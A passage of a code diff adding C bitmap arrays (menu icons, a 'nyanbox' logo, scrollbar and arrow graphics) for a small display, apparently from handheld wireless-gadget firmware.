0x1c, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +// 'icon_scanner', 16x16px +const unsigned char bitmap_icon_scanner [] PROGMEM = { + 0x00, 0x00, 0x00, 0x06, 0x00, 0x06, 0x00, 0x06, 0x00, 0x66, 0x00, 0x66, 0x00, 0x66, 0x00, 0x66, + 0x06, 0x66, 0x06, 0x66, 0x06, 0x66, 0x06, 0x66, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x00 +}; + +// 'icon_analyzer', 16x16px +const unsigned char bitmap_icon_analyzer [] PROGMEM = { + 0x00, 0x00, 0xC0, 0x0F, 0x00, 0x10, 0x80, 0x27, 0x00, 0x48, 0x00, 0x53, + 0x60, 0x54, 0xE0, 0x54, 0xE0, 0x51, 0xE0, 0x43, 0xE0, 0x03, 0x50, 0x00, + 0xF8, 0x00, 0x04, 0x01, 0xFE, 0x03, 0x00, 0x00, }; + +// 'icon_colorcube', 16x16px +const unsigned char bitmap_icon_colorcube [] PROGMEM = { + 0x80, 0x01, 0xe0, 0x06, 0x98, 0x18, 0x86, 0x60, 0x82, 0x40, 0x82, 0x40, 0x82, 0x40, 0x82, 0x40, + 0x82, 0x40, 0x82, 0x40, 0x82, 0x40, 0x86, 0x60, 0x98, 0x18, 0xe0, 0x06, 0x80, 0x01, 0x00, 0x00 }; + +// 'icon_colorpicker', 16x16px +const unsigned char bitmap_icon_colorpicker [] PROGMEM = { + 0x08, 0x00, 0x18, 0x00, 0x28, 0x00, 0x48, 0x00, 0x88, 0x00, 0x08, 0x01, 0x08, 0x02, 0x08, 0x04, + 0x08, 0x08, 0x08, 0x10, 0x08, 0x20, 0x08, 0x38, 0x88, 0x08, 0x48, 0x11, 0x28, 0x12, 0x18, 0x0c }; + +// 'icon_about', 16x16px +const unsigned char bitmap_icon_about [] PROGMEM = { + 0xc0, 0x03, 0x20, 0x04, 0x10, 0x08, 0x10, 0x08, 0x20, 0x04, 0xc0, 0x03, 0x00, 0x00, 0xf8, 0x1f, + 0x04, 0x20, 0x02, 0x40, 0x02, 0x40, 0x12, 0x48, 0x12, 0x48, 0x12, 0x48, 0xfc, 0x3f, 0x00, 0x00 }; + +// 'ble', 16x16px +const unsigned char bitmap_icon_ble [] PROGMEM = { + 0x00, 0x00, 0x80, 0x00, 0x80, 0x01, 0x80, 0x02, 0x80, 0x04, 0x90, 0x04, 0xa0, 0x02, 0xc0, 0x01, + 0xc0, 0x01, 0xa0, 0x02, 0x90, 0x04, 0x80, 0x04, 0x80, 0x02, 0x80, 0x01, 0x80, 0x00, 0x00, 0x00 +}; + +// 'wifi', 16x16px +const unsigned char bitmap_icon_wifi [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0x1c, 0x38, 0x06, 0x60, 0xe3, 0xc7, 0x38, 0x1c, 0x0c, 0x30, + 0x80, 0x01, 0xe0, 0x07, 0x30, 0x0c, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00 +}; + +// 'kill', 16x16px +const unsigned char bitmap_icon_kill [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0xc0, 0x03, 0xf0, 0x0f, 0xf0, 0x0f, 0xf8, 0x1f, 0x8c, 0x31, 0x84, 0x21, + 0x84, 0x21, 0x84, 0x21, 0xcc, 0x33, 0x78, 0x1e, 0x70, 0x0e, 0xb0, 0x0d, 0xb0, 0x0d, 0x00, 0x00 +}; + +// 'question', 16x16px +const unsigned char bitmap_icon_question [] PROGMEM = { + 0xe0, 0x07, 0xf8, 0x1f, 0xfc, 0x3f, 0x7e, 0x3e, 0x3e, 0x3c, 0x1c, 0x3c, 0x00, 0x3e, 0xc0, 0x1f, + 0xe0, 0x0f, 0xe0, 0x03, 0xc0, 0x01, 0x00, 0x00, 0xc0, 0x01, 0xe0, 0x03, 0xe0, 0x03, 0xc0, 0x01 +}; + +// 'save', 16x16px +const unsigned char bitmap_icon_save [] PROGMEM = { + 0xf6, 0x6f, 0xf7, 0xe9, 0xf7, 0xe9, 0xf7, 0xa9, 0xf7, 0xef, 0x0f, 0xf0, 0xff, 0xff, 0x03, 0xc0, + 0xfb, 0xdf, 0x0b, 0xd0, 0xfb, 0xdf, 0x0b, 0xd0, 0xfb, 0xdf, 0x03, 0xc0, 0xff, 0xff, 0xfe, 0x7f +}; + +// 'skull', 16x16px +const unsigned char bitmap_icon_skull [] PROGMEM = { + 0xf0, 0x0f, 0xfc, 0x3f, 0xfe, 0x7f, 0xfe, 0x7f, 0xcf, 0xf3, 0x87, 0xe1, 0x87, 0xe1, 0xcf, 0xf3, + 0xfe, 0x7f, 0xfc, 0x3f, 0xfc, 0x3f, 0xfc, 0x3f, 0xb0, 0x0d, 0xb0, 0x0d, 0xb0, 0x0d, 0x00, 0x00 +}; + +// 'setting', 16x16px +const unsigned char bitmap_icon_setting [] PROGMEM = { + 0xc0, 0x03, 0xc8, 0x13, 0xdc, 0x3b, 0xfe, 0x7f, 0xfc, 0x3f, 0x38, 0x1c, 0x1f, 0xf8, 0x1f, 0xf8, + 0x1f, 0xf8, 0x1f, 0xf8, 0x38, 0x1c, 0xfc, 0x3f, 0xfe, 0x7f, 0xdc, 0x3b, 0xc8, 0x13, 0xc0, 0x03 +}; + +// 'signal', 16x16px +const unsigned char bitmap_icon_signal [] PROGMEM = { + 0xe0, 0x07, 0xf8, 0x1f, 0xfe, 0x7f, 0xff, 0xff, 0xff, 0xff, 0x0f, 0xf0, 0x02, 0x40, 0xf0, 0x0f, + 0xfc, 0x3f, 0xfc, 0x3f, 0x38, 0x1c, 0x08, 0x10, 0xc0, 0x03, 0xf0, 0x0f, 0x70, 0x0e, 0x20, 0x04 +}; + +// 'brain', 16x16px +const unsigned char bitmap_icon_brain [] PROGMEM = { + 0x70, 0x0e, 0xf8, 0x1e, 0x9c, 0x3e, 0x7c, 0x3e, 0xf0, 0x3e, 0xee, 0x7e, 0xff, 0xf2, 0xff, 0xec, + 0xe7, 0xfe, 0xdf, 0xfe, 0x9e, 0x7e, 0x6c, 0x0e, 0xfc, 0x36, 0xfc, 0x1e, 0xf8, 0x1e, 0x70, 0x0e +}; + +// 'stat', 16x16px +const unsigned char bitmap_icon_stat [] PROGMEM = { + 0xfe, 0x7f, 0xff, 0xff, 0x03, 0xc0, 0x03, 0xc1, 0x03, 0xc1, 0x83, 0xe2, 0x83, 0xe2, 0x8b, 0xd4, + 0x4b, 0xd4, 0x57, 0xc8, 0x57, 0xc8, 0x23, 0xc0, 0x23, 0xc0, 0x03, 0xc0, 0xff, 0xff, 0xfe, 0x7f +}; + +// 'sword', 16x16px +const unsigned char bitmap_icon_sword [] PROGMEM = { + 0x00, 0xe0, 0x00, 0xf0, 0x00, 0xf8, 0x00, 0x7c, 0x00, 0x3e, 0x00, 0x1f, 0x80, 0x0f, 0xcc, 0x07, + 0xdc, 0x03, 0xb8, 0x01, 0x70, 0x00, 0xe8, 0x00, 0xdc, 0x01, 0x8f, 0x01, 0x07, 0x00, 0x07, 0x00 +}; + +// 'character', 16x16px +const unsigned char bitmap_icon_character [] PROGMEM = { + 0xc0, 0x03, 0xe0, 0x07, 0xa0, 0x05, 0xa0, 0x05, 0xe0, 0x07, 0xe0, 0x07, 0xc0, 0x03, 0x00, 0x00, + 0x80, 0x01, 0xf0, 0x0f, 0xfc, 0x3f, 0xfe, 0x7f, 0xfe, 0x7f, 0xff, 0xff, 0xf7, 0xef, 0xf7, 0xef +}; + +// 'follow', 16x16px +const unsigned char bitmap_icon_follow [] PROGMEM = { + 0x00, 0x3c, 0x00, 0x7e, 0x00, 0x7e, 0x00, 0x3c, 0x00, 0x18, 0x1e, 0x3c, 0x3f, 0x7e, 0x3f, 0x7e, + 0x1e, 0x00, 0x0c, 0x18, 0x1e, 0x3c, 0x3f, 0x7e, 0x3f, 0x18, 0xbf, 0x1f, 0xbf, 0x0f, 0x1e, 0x00 +}; + +// 'dialog', 16x16px +const unsigned char bitmap_icon_dialog [] PROGMEM = { + 0x00, 0x00, 0xfc, 0x3f, 0xfe, 0x7f, 0xff, 0xff, 0x03, 0xc4, 0xff, 0xff, 0x13, 0xc0, 0xff, 0xff, + 0x03, 0xc2, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x7f, 0xfc, 0x3f, 0x00, 0x07, 0x00, 0x06, 0x00, 0x04 +}; + +// 'key', 16x16px +const unsigned char bitmap_icon_key [] PROGMEM = { + 0xe0, 0x07, 0xf0, 0x0f, 0x38, 0x1c, 0x18, 0x18, 0x18, 0x18, 0x38, 0x1c, 0xf0, 0x0f, 0xe0, 0x07, + 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x80, 0x1d, 0x80, 0x1d, 0x80, 0x05, 0x80, 0x1d, 0x80, 0x1d +}; + +// 'logo_nyanbox', 128x64px +const unsigned char logo_nyanbox [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x1f, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x01, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x07, 0x00, 0x00, 0xe0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x13, 0x00, 0x00, 0xc8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x39, 0x00, 0x00, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xf8, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x01, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x03, 0xc0, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xf7, 0xee, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xfe, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff, 0xfe, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff, 0xfe, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff, 0xfe, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff, 0xfe, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff, 0xfe, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff, 0x1e, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff, 0x0e, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xf8, 0x06, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0xf8, 0x06, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0xf8, 0x06, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xfc, 0x06, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x3f, 0x0c, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x3f, 0x1c, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f, 0xfe, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xfe, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x3f, 0xfc, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x9f, 0xfb, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xce, 0xff, 0xff, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x87, 0xff, 0xff, 0xe1, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x00, 0xfe, 0x7f, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x80, 0xe1, 0x8f, 0x01, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x81, 0x0f, 0xf0, 0x01, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc6, 0xc7, 0xff, 0xff, 0xe3, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x9f, 0xff, 0xff, 0xf9, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x78, 0xfe, 0x7f, 0x1e, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0xe0, 0xfb, 0xdf, 0x07, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc0, 0x01, 0x80, 0xef, 0xf3, 0x01, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x3c, 0x3c, 0x00, 0xe0, 0x03, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, 0xf0, 0x0f, 0x00, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x00, 0xc0, 0x03, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0xe0, 0x07, 0xc0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x0f, 0xe0, 0x07, 0xf0, 0x0d, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x3c, 0xb0, 0x0d, 0x3c, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xf0, 0x98, 0x19, 0x0f, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xc0, 0x8f, 0xf1, 0x03, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x8f, 0xf1, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x80, 0x01, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x07, 0x80, 0x01, 0xe0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0x80, 0x01, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0x80, 0x01, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x81, 0x81, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x87, 0xe1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +// 'scrollbar_background', 8x64px +const unsigned char bitmap_scrollbar_background [] PROGMEM = { + 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, + 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, + 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, + 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, + 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, + 0x00, 0x40, 0x00, 0x00, }; + + +// 'item_sel_outline', 128x21px +const unsigned char bitmap_item_sel_outline [] PROGMEM = { + 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, 0xFF, 0x03, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0C, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0xF8, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, + }; + +// 'arrow_left', 128x64px +const unsigned char bitmap_arrow_left [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe0, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf8, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xfc, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xfc, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe0, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x80, 0xff, 